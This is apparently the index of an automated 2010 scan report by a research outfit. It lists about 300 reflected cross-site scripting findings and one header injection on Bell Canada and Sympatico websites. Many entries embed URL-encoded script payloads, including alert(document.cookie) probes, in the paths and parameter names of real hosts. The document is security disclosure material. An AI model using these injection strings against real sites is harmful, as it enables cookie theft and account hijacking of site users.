Report generated by XSS.CX at Wed Nov 24 19:59:03 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. HTTP header injection

2. Cross-site scripting (reflected)

2.1. http://bundle.bell.ca/en [REST URL parameter 1]

2.2. http://internet.bell.ca/ [name of an arbitrarily supplied request parameter]

2.3. http://internet.bell.ca/Images/flash/sifr [REST URL parameter 1]

2.4. http://internet.bell.ca/Images/flash/sifr [REST URL parameter 2]

2.5. http://internet.bell.ca/Images/flash/sifr [REST URL parameter 3]

2.6. http://internet.bell.ca/Images/flash/sifr [name of an arbitrarily supplied request parameter]

2.7. http://internet.bell.ca/favicon.ico [REST URL parameter 1]

2.8. http://internet.bell.ca/img_gallery/90_en.gif [REST URL parameter 1]

2.9. http://internet.bell.ca/img_gallery/90_en.gif [REST URL parameter 2]

2.10. http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/index.cfm [REST URL parameter 3]

2.11. http://internet.bell.ca/index.cfm [83853%22%3E%3Cscript%3Ealert(document.cookie parameter]

2.12. http://internet.bell.ca/index.cfm [83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78 parameter]

2.13. http://internet.bell.ca/index.cfm [INT parameter]

2.14. http://internet.bell.ca/index.cfm [REST URL parameter 1]

2.15. http://internet.bell.ca/index.cfm [_payment parameter]

2.16. http://internet.bell.ca/index.cfm [category_id parameter]

2.17. http://internet.bell.ca/index.cfm [language parameter]

2.18. http://internet.bell.ca/index.cfm [method parameter]

2.19. http://internet.bell.ca/index.cfm [name of an arbitrarily supplied request parameter]

2.20. http://internet.bell.ca/index.cfm [path_requested parameter]

2.21. http://internet.bell.ca/index.cfm [path_requested parameter]

2.22. http://internet.bell.ca/js/PageSize.js [REST URL parameter 1]

2.23. http://internet.bell.ca/js/PageSize.js [REST URL parameter 2]

2.24. http://internet.bell.ca/js/additional.js [REST URL parameter 1]

2.25. http://internet.bell.ca/js/additional.js [REST URL parameter 2]

2.26. http://internet.bell.ca/js/bannerPlayer.js [REST URL parameter 1]

2.27. http://internet.bell.ca/js/bannerPlayer.js [REST URL parameter 2]

2.28. http://internet.bell.ca/js/flash_detect.js [REST URL parameter 1]

2.29. http://internet.bell.ca/js/flash_detect.js [REST URL parameter 2]

2.30. http://internet.bell.ca/js/flash_quickfix.js [REST URL parameter 1]

2.31. http://internet.bell.ca/js/flash_quickfix.js [REST URL parameter 2]

2.32. http://internet.bell.ca/js/formValidation.js [REST URL parameter 1]

2.33. http://internet.bell.ca/js/formValidation.js [REST URL parameter 2]

2.34. http://internet.bell.ca/js/functions.js [REST URL parameter 1]

2.35. http://internet.bell.ca/js/functions.js [REST URL parameter 2]

2.36. http://internet.bell.ca/js/glossaryDefinition.js [REST URL parameter 1]

2.37. http://internet.bell.ca/js/glossaryDefinition.js [REST URL parameter 2]

2.38. http://internet.bell.ca/js/jquery-ui.js [REST URL parameter 1]

2.39. http://internet.bell.ca/js/jquery-ui.js [REST URL parameter 2]

2.40. http://internet.bell.ca/js/jquery.autocomplete.js [REST URL parameter 1]

2.41. http://internet.bell.ca/js/jquery.autocomplete.js [REST URL parameter 2]

2.42. http://internet.bell.ca/js/jquery.blockUI.js [REST URL parameter 1]

2.43. http://internet.bell.ca/js/jquery.blockUI.js [REST URL parameter 2]

2.44. http://internet.bell.ca/js/jquery.cfjs.js [REST URL parameter 1]

2.45. http://internet.bell.ca/js/jquery.cfjs.js [REST URL parameter 2]

2.46. http://internet.bell.ca/js/jquery.clickorenter.js [REST URL parameter 1]

2.47. http://internet.bell.ca/js/jquery.clickorenter.js [REST URL parameter 2]

2.48. http://internet.bell.ca/js/jquery.cookie.js [REST URL parameter 1]

2.49. http://internet.bell.ca/js/jquery.cookie.js [REST URL parameter 2]

2.50. http://internet.bell.ca/js/jquery.dialogpopup.js [REST URL parameter 1]

2.51. http://internet.bell.ca/js/jquery.dialogpopup.js [REST URL parameter 2]

2.52. http://internet.bell.ca/js/jquery.easing.js [REST URL parameter 1]

2.53. http://internet.bell.ca/js/jquery.easing.js [REST URL parameter 2]

2.54. http://internet.bell.ca/js/jquery.flash.js [REST URL parameter 1]

2.55. http://internet.bell.ca/js/jquery.flash.js [REST URL parameter 2]

2.56. http://internet.bell.ca/js/jquery.fxqueues.js [REST URL parameter 1]

2.57. http://internet.bell.ca/js/jquery.fxqueues.js [REST URL parameter 2]

2.58. http://internet.bell.ca/js/jquery.js [REST URL parameter 1]

2.59. http://internet.bell.ca/js/jquery.js [REST URL parameter 2]

2.60. http://internet.bell.ca/js/jquery.selectbox.js [REST URL parameter 1]

2.61. http://internet.bell.ca/js/jquery.selectbox.js [REST URL parameter 2]

2.62. http://internet.bell.ca/js/jquery.sifr.js [REST URL parameter 1]

2.63. http://internet.bell.ca/js/jquery.sifr.js [REST URL parameter 2]

2.64. http://internet.bell.ca/js/multipleSubmitBlocker.js [REST URL parameter 1]

2.65. http://internet.bell.ca/js/multipleSubmitBlocker.js [REST URL parameter 2]

2.66. http://internet.bell.ca/js/tooltip.js [REST URL parameter 1]

2.67. http://internet.bell.ca/js/tooltip.js [REST URL parameter 2]

2.68. http://service.sympatico.ca/css/glossaryDefinition.css [REST URL parameter 1]

2.69. http://service.sympatico.ca/css/glossaryDefinition.css [REST URL parameter 2]

2.70. http://service.sympatico.ca/css/inputButtons.css [REST URL parameter 1]

2.71. http://service.sympatico.ca/css/inputButtons.css [REST URL parameter 2]

2.72. http://service.sympatico.ca/css/jquery.autocomplete.css [REST URL parameter 1]

2.73. http://service.sympatico.ca/css/jquery.autocomplete.css [REST URL parameter 2]

2.74. http://service.sympatico.ca/css/minidashboard.css [REST URL parameter 1]

2.75. http://service.sympatico.ca/css/minidashboard.css [REST URL parameter 2]

2.76. http://service.sympatico.ca/css/mybell.css [REST URL parameter 1]

2.77. http://service.sympatico.ca/css/mybell.css [REST URL parameter 2]

2.78. http://service.sympatico.ca/css/screen.css [REST URL parameter 1]

2.79. http://service.sympatico.ca/css/screen.css [REST URL parameter 2]

2.80. http://service.sympatico.ca/css/screen_print.css [REST URL parameter 1]

2.81. http://service.sympatico.ca/css/screen_print.css [REST URL parameter 2]

2.82. http://service.sympatico.ca/css/tooltip.css [REST URL parameter 1]

2.83. http://service.sympatico.ca/css/tooltip.css [REST URL parameter 2]

2.84. http://service.sympatico.ca/css/txtBoxes.css [REST URL parameter 1]

2.85. http://service.sympatico.ca/css/txtBoxes.css [REST URL parameter 2]

2.86. http://service.sympatico.ca/favicon.ico [REST URL parameter 1]

2.87. http://service.sympatico.ca/index.cfm [REST URL parameter 1]

2.88. http://service.sympatico.ca/index.cfm [method parameter]

2.89. http://service.sympatico.ca/index.cfm [method parameter]

2.90. http://service.sympatico.ca/index.cfm [name of an arbitrarily supplied request parameter]

2.91. http://service.sympatico.ca/index.cfm [path_requested parameter]

2.92. http://service.sympatico.ca/index.cfm [path_requested parameter]

2.93. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png [REST URL parameter 1]

2.94. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png [REST URL parameter 2]

2.95. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png [REST URL parameter 3]

2.96. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png [REST URL parameter 4]

2.97. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png [name of an arbitrarily supplied request parameter]

2.98. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif [REST URL parameter 1]

2.99. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif [REST URL parameter 2]

2.100. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif [REST URL parameter 3]

2.101. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftContact_on_en.gif [name of an arbitrarily supplied request parameter]

2.102. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif [REST URL parameter 1]

2.103. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif [REST URL parameter 2]

2.104. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif [REST URL parameter 3]

2.105. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif [name of an arbitrarily supplied request parameter]

2.106. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif [REST URL parameter 1]

2.107. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif [REST URL parameter 2]

2.108. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif [REST URL parameter 3]

2.109. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif [name of an arbitrarily supplied request parameter]

2.110. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif [REST URL parameter 1]

2.111. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif [REST URL parameter 2]

2.112. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif [REST URL parameter 3]

2.113. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif [name of an arbitrarily supplied request parameter]

2.114. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif [REST URL parameter 1]

2.115. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif [REST URL parameter 2]

2.116. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif [REST URL parameter 3]

2.117. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif [REST URL parameter 4]

2.118. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif [name of an arbitrarily supplied request parameter]

2.119. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif [REST URL parameter 1]

2.120. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif [REST URL parameter 2]

2.121. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif [REST URL parameter 3]

2.122. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif [REST URL parameter 4]

2.123. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif [name of an arbitrarily supplied request parameter]

2.124. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif [REST URL parameter 1]

2.125. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif [REST URL parameter 2]

2.126. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif [REST URL parameter 3]

2.127. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif [REST URL parameter 4]

2.128. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif [name of an arbitrarily supplied request parameter]

2.129. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif [REST URL parameter 1]

2.130. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif [REST URL parameter 2]

2.131. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif [REST URL parameter 3]

2.132. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif [REST URL parameter 4]

2.133. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_cart.gif [name of an arbitrarily supplied request parameter]

2.134. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png [REST URL parameter 1]

2.135. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png [REST URL parameter 2]

2.136. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png [REST URL parameter 3]

2.137. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png [REST URL parameter 4]

2.138. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBilling.png [name of an arbitrarily supplied request parameter]

2.139. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png [REST URL parameter 1]

2.140. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png [REST URL parameter 2]

2.141. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png [REST URL parameter 3]

2.142. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png [REST URL parameter 4]

2.143. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png [name of an arbitrarily supplied request parameter]

2.144. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png [REST URL parameter 1]

2.145. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png [REST URL parameter 2]

2.146. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png [REST URL parameter 3]

2.147. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png [REST URL parameter 4]

2.148. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png [name of an arbitrarily supplied request parameter]

2.149. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png [REST URL parameter 1]

2.150. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png [REST URL parameter 2]

2.151. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png [REST URL parameter 3]

2.152. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png [REST URL parameter 4]

2.153. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png [name of an arbitrarily supplied request parameter]

2.154. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png [REST URL parameter 1]

2.155. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png [REST URL parameter 2]

2.156. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png [REST URL parameter 3]

2.157. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png [REST URL parameter 4]

2.158. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavInternet.png [name of an arbitrarily supplied request parameter]

2.159. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png [REST URL parameter 1]

2.160. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png [REST URL parameter 2]

2.161. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png [REST URL parameter 3]

2.162. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png [REST URL parameter 4]

2.163. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png [name of an arbitrarily supplied request parameter]

2.164. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png [REST URL parameter 1]

2.165. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png [REST URL parameter 2]

2.166. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png [REST URL parameter 3]

2.167. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png [REST URL parameter 4]

2.168. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png [name of an arbitrarily supplied request parameter]

2.169. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png [REST URL parameter 1]

2.170. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png [REST URL parameter 2]

2.171. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png [REST URL parameter 3]

2.172. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png [REST URL parameter 4]

2.173. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png [name of an arbitrarily supplied request parameter]

2.174. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif [REST URL parameter 1]

2.175. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif [REST URL parameter 2]

2.176. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif [REST URL parameter 3]

2.177. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif [name of an arbitrarily supplied request parameter]

2.178. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654 [REST URL parameter 1]

2.179. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654 [REST URL parameter 2]

2.180. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654 [name of an arbitrarily supplied request parameter]

2.181. http://service.sympatico.ca/js/PageSize.js [REST URL parameter 2]

2.182. http://service.sympatico.ca/js/additional.js [REST URL parameter 1]

2.183. http://service.sympatico.ca/js/additional.js [REST URL parameter 2]

2.184. http://service.sympatico.ca/js/flash_detect.js [REST URL parameter 1]

2.185. http://service.sympatico.ca/js/flash_detect.js [REST URL parameter 2]

2.186. http://service.sympatico.ca/js/flash_quickfix.js [REST URL parameter 1]

2.187. http://service.sympatico.ca/js/flash_quickfix.js [REST URL parameter 2]

2.188. http://service.sympatico.ca/js/formValidation.js [REST URL parameter 1]

2.189. http://service.sympatico.ca/js/formValidation.js [REST URL parameter 2]

2.190. http://service.sympatico.ca/js/functions.js [REST URL parameter 1]

2.191. http://service.sympatico.ca/js/functions.js [REST URL parameter 2]

2.192. http://service.sympatico.ca/js/glossaryDefinition.js [REST URL parameter 1]

2.193. http://service.sympatico.ca/js/glossaryDefinition.js [REST URL parameter 2]

2.194. http://service.sympatico.ca/js/jquery-ui.js [REST URL parameter 1]

2.195. http://service.sympatico.ca/js/jquery-ui.js [REST URL parameter 2]

2.196. http://service.sympatico.ca/js/jquery.autocomplete.js [REST URL parameter 1]

2.197. http://service.sympatico.ca/js/jquery.autocomplete.js [REST URL parameter 2]

2.198. http://service.sympatico.ca/js/jquery.blockUI.js [REST URL parameter 1]

2.199. http://service.sympatico.ca/js/jquery.blockUI.js [REST URL parameter 2]

2.200. http://service.sympatico.ca/js/jquery.cfjs.js [REST URL parameter 1]

2.201. http://service.sympatico.ca/js/jquery.cfjs.js [REST URL parameter 2]

2.202. http://service.sympatico.ca/js/jquery.clickorenter.js [REST URL parameter 1]

2.203. http://service.sympatico.ca/js/jquery.clickorenter.js [REST URL parameter 2]

2.204. http://service.sympatico.ca/js/jquery.cookie.js [REST URL parameter 1]

2.205. http://service.sympatico.ca/js/jquery.cookie.js [REST URL parameter 2]

2.206. http://service.sympatico.ca/js/jquery.dialogpopup.js [REST URL parameter 1]

2.207. http://service.sympatico.ca/js/jquery.dialogpopup.js [REST URL parameter 2]

2.208. http://service.sympatico.ca/js/jquery.easing.js [REST URL parameter 1]

2.209. http://service.sympatico.ca/js/jquery.easing.js [REST URL parameter 2]

2.210. http://service.sympatico.ca/js/jquery.flash.js [REST URL parameter 1]

2.211. http://service.sympatico.ca/js/jquery.flash.js [REST URL parameter 2]

2.212. http://service.sympatico.ca/js/jquery.fxqueues.js [REST URL parameter 1]

2.213. http://service.sympatico.ca/js/jquery.fxqueues.js [REST URL parameter 2]

2.214. http://service.sympatico.ca/js/jquery.js [REST URL parameter 1]

2.215. http://service.sympatico.ca/js/jquery.js [REST URL parameter 2]

2.216. http://service.sympatico.ca/js/jquery.selectbox.js [REST URL parameter 1]

2.217. http://service.sympatico.ca/js/jquery.selectbox.js [REST URL parameter 2]

2.218. http://service.sympatico.ca/js/jquery.sifr.js [REST URL parameter 1]

2.219. http://service.sympatico.ca/js/jquery.sifr.js [REST URL parameter 2]

2.220. http://service.sympatico.ca/js/multipleSubmitBlocker.js [REST URL parameter 1]

2.221. http://service.sympatico.ca/js/multipleSubmitBlocker.js [REST URL parameter 2]

2.222. http://service.sympatico.ca/js/tooltip.js [REST URL parameter 1]

2.223. http://service.sympatico.ca/js/tooltip.js [REST URL parameter 2]

2.224. https://service.sympatico.ca/css/bannerPlayer.css [REST URL parameter 1]

2.225. https://service.sympatico.ca/css/bannerPlayer.css [REST URL parameter 2]

2.226. https://service.sympatico.ca/css/glossaryDefinition.css [REST URL parameter 1]

2.227. https://service.sympatico.ca/css/glossaryDefinition.css [REST URL parameter 2]

2.228. https://service.sympatico.ca/css/inputButtons.css [REST URL parameter 1]

2.229. https://service.sympatico.ca/css/inputButtons.css [REST URL parameter 2]

2.230. https://service.sympatico.ca/css/jquery.autocomplete.css [REST URL parameter 1]

2.231. https://service.sympatico.ca/css/jquery.autocomplete.css [REST URL parameter 2]

2.232. https://service.sympatico.ca/css/landing.css [REST URL parameter 1]

2.233. https://service.sympatico.ca/css/landing.css [REST URL parameter 2]

2.234. https://service.sympatico.ca/css/minidashboard.css [REST URL parameter 1]

2.235. https://service.sympatico.ca/css/minidashboard.css [REST URL parameter 2]

2.236. https://service.sympatico.ca/css/mybell.css [REST URL parameter 1]

2.237. https://service.sympatico.ca/css/mybell.css [REST URL parameter 2]

2.238. https://service.sympatico.ca/css/screen.css [REST URL parameter 1]

2.239. https://service.sympatico.ca/css/screen.css [REST URL parameter 2]

2.240. https://service.sympatico.ca/css/screen_print.css [REST URL parameter 1]

2.241. https://service.sympatico.ca/css/screen_print.css [REST URL parameter 2]

2.242. https://service.sympatico.ca/css/tooltip.css [REST URL parameter 1]

2.243. https://service.sympatico.ca/css/tooltip.css [REST URL parameter 2]

2.244. https://service.sympatico.ca/css/txtBoxes.css [REST URL parameter 1]

2.245. https://service.sympatico.ca/css/txtBoxes.css [REST URL parameter 2]

2.246. https://service.sympatico.ca/index.cfm [44bf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EHOYT.LLC.RESEACH.XSS.PC.11.24.2010.SERVICE.BELL.CA parameter]

2.247. https://service.sympatico.ca/index.cfm [REST URL parameter 1]

2.248. https://service.sympatico.ca/index.cfm [name of an arbitrarily supplied request parameter]

2.249. https://service.sympatico.ca/js/PageSize.js [REST URL parameter 1]

2.250. https://service.sympatico.ca/js/PageSize.js [REST URL parameter 2]

2.251. https://service.sympatico.ca/js/additional.js [REST URL parameter 1]

2.252. https://service.sympatico.ca/js/additional.js [REST URL parameter 2]

2.253. https://service.sympatico.ca/js/bannerPlayer.js [REST URL parameter 1]

2.254. https://service.sympatico.ca/js/bannerPlayer.js [REST URL parameter 2]

2.255. https://service.sympatico.ca/js/flash_detect.js [REST URL parameter 1]

2.256. https://service.sympatico.ca/js/flash_detect.js [REST URL parameter 2]

2.257. https://service.sympatico.ca/js/flash_quickfix.js [REST URL parameter 1]

2.258. https://service.sympatico.ca/js/flash_quickfix.js [REST URL parameter 2]

2.259. https://service.sympatico.ca/js/formValidation.js [REST URL parameter 1]

2.260. https://service.sympatico.ca/js/formValidation.js [REST URL parameter 2]

2.261. https://service.sympatico.ca/js/functions.js [REST URL parameter 1]

2.262. https://service.sympatico.ca/js/functions.js [REST URL parameter 2]

2.263. https://service.sympatico.ca/js/glossaryDefinition.js [REST URL parameter 1]

2.264. https://service.sympatico.ca/js/glossaryDefinition.js [REST URL parameter 2]

2.265. https://service.sympatico.ca/js/jquery-ui.js [REST URL parameter 1]

2.266. https://service.sympatico.ca/js/jquery-ui.js [REST URL parameter 2]

2.267. https://service.sympatico.ca/js/jquery.autocomplete.js [REST URL parameter 1]

2.268. https://service.sympatico.ca/js/jquery.autocomplete.js [REST URL parameter 2]

2.269. https://service.sympatico.ca/js/jquery.blockUI.js [REST URL parameter 1]

2.270. https://service.sympatico.ca/js/jquery.blockUI.js [REST URL parameter 2]

2.271. https://service.sympatico.ca/js/jquery.cfjs.js [REST URL parameter 1]

2.272. https://service.sympatico.ca/js/jquery.cfjs.js [REST URL parameter 2]

2.273. https://service.sympatico.ca/js/jquery.clickorenter.js [REST URL parameter 1]

2.274. https://service.sympatico.ca/js/jquery.clickorenter.js [REST URL parameter 2]

2.275. https://service.sympatico.ca/js/jquery.cookie.js [REST URL parameter 1]

2.276. https://service.sympatico.ca/js/jquery.cookie.js [REST URL parameter 2]

2.277. https://service.sympatico.ca/js/jquery.dialogpopup.js [REST URL parameter 1]

2.278. https://service.sympatico.ca/js/jquery.dialogpopup.js [REST URL parameter 2]

2.279. https://service.sympatico.ca/js/jquery.easing.js [REST URL parameter 1]

2.280. https://service.sympatico.ca/js/jquery.easing.js [REST URL parameter 2]

2.281. https://service.sympatico.ca/js/jquery.flash.js [REST URL parameter 1]

2.282. https://service.sympatico.ca/js/jquery.flash.js [REST URL parameter 2]

2.283. https://service.sympatico.ca/js/jquery.fxqueues.js [REST URL parameter 1]

2.284. https://service.sympatico.ca/js/jquery.fxqueues.js [REST URL parameter 2]

2.285. https://service.sympatico.ca/js/jquery.js [REST URL parameter 1]

2.286. https://service.sympatico.ca/js/jquery.js [REST URL parameter 2]

2.287. https://service.sympatico.ca/js/jquery.selectbox.js [REST URL parameter 1]

2.288. https://service.sympatico.ca/js/jquery.selectbox.js [REST URL parameter 2]

2.289. https://service.sympatico.ca/js/jquery.sifr.js [REST URL parameter 1]

2.290. https://service.sympatico.ca/js/jquery.sifr.js [REST URL parameter 2]

2.291. https://service.sympatico.ca/js/multipleSubmitBlocker.js [REST URL parameter 1]

2.292. https://service.sympatico.ca/js/multipleSubmitBlocker.js [REST URL parameter 2]

2.293. https://service.sympatico.ca/js/tooltip.js [REST URL parameter 1]

2.294. https://service.sympatico.ca/js/tooltip.js [REST URL parameter 2]

2.295. http://support.bell.ca/en-ON/Customer_service [REST URL parameter 1]

2.296. http://support.bell.ca/en-ON/Customer_service/ [REST URL parameter 1]

2.297. http://support.bell.ca/en-ON/Mobility [REST URL parameter 1]

2.298. http://support.bell.ca/en-ON/Mobility/ [REST URL parameter 1]

2.299. http://support.bell.ca/en-on/AboutBell/ [REST URL parameter 1]

